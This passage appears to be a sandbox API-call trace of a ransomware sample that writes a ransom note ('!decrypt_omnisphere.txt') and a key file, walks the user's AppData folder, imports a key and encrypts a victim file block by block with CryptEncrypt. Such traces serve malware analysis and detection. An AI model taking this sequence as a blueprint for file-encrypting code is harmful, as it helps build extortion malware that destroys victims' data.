"c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.739] WriteFile (in: hFile=0x3a0, lpBuffer=0x165a2e8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x165a2e8*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0068.739] CloseHandle (hObject=0x3a0) returned 1 [0068.739] GetProcessHeap () returned 0x1600000 [0068.739] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165d9c8 | out: hHeap=0x1600000) returned 1 [0068.739] GetProcessHeap () returned 0x1600000 [0068.739] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fc00 [0068.739] PathCombineW (in: pszDest=0x163fc00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0068.739] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.739] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0068.740] CloseHandle (hObject=0x3a0) returned 1 [0068.740] GetProcessHeap () returned 0x1600000 [0068.740] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fc00 | out: hHeap=0x1600000) returned 1 [0068.740] GetProcessHeap () returned 0x1600000 [0068.740] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f580 | out: hHeap=0x1600000) returned 1 [0068.740] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xed, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0068.740] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xed, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0068.740] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xed, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0068.740] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818769c0, ftCreationTime.dwHighDateTime=0x1d4d193, ftLastAccessTime.dwLowDateTime=0x685478f0, ftLastAccessTime.dwHighDateTime=0x1d4cb47, ftLastWriteTime.dwLowDateTime=0x685478f0, ftLastWriteTime.dwHighDateTime=0x1d4cb47, nFileSizeHigh=0x0, nFileSizeLow=0xc1b0, dwReserved0=0x0, dwReserved1=0xed, cFileName="mUD1TZtWU.flv", cAlternateFileName="MUD1TZ~1.FLV")) returned 1 [0068.740] GetProcessHeap () returned 0x1600000 [0068.740] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6a) returned 0x1649e70 [0068.740] PathCombineW (in: pszDest=0x1649e70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="mUD1TZtWU.flv" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv" [0068.740] StrStrW (lpFirst=".omnisphere", lpSrch=".flv") returned 0x0 [0068.740] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mUD1TZtWU.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mud1tztwu.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.741] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=49584) returned 1 [0068.741] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xbc8c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.741] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.741] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] GetTickCount () returned 0x115177c [0068.742] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163b8e8) returned 1 [0068.743] CryptImportKey (in: hProv=0x163b8e8, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639628) returned 1 [0068.743] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0068.743] CryptDestroyKey (hKey=0x1639628) returned 1 [0068.743] CryptReleaseContext (hProv=0x163b8e8, dwFlags=0x0) returned 1 [0068.743] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc1b0, lpName=0x0) returned 0x3a4 [0068.743] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc1b0) returned 0x3430000 [0068.744] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c498) returned 1 [0068.744] CryptImportKey (in: hProv=0x163c498, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639a28) returned 1 [0068.744] CryptSetKeyParam (hKey=0x1639a28, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0068.744] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0068.744] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.745] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.746] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.747] CryptEncrypt (in: 